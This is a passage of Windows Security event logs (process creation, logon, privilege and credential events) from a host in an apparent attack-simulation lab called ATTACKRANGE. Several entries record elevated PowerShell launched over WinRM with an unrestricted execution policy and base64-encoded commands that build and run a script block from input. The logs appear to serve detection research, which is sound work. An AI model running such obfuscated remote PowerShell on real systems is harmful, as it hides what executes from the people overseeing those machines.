Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe88 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247256 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe88 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd90 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247255 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x115CD9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247254 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x115CD9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247253 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247252 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247251 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd90 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247250 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfc4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3bc - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247249 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x115819 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247248 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x115819 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247247 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247246 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247245 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3bc - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247244 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Process Information: - New Process ID: 0x3bc - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247243 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247242 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was 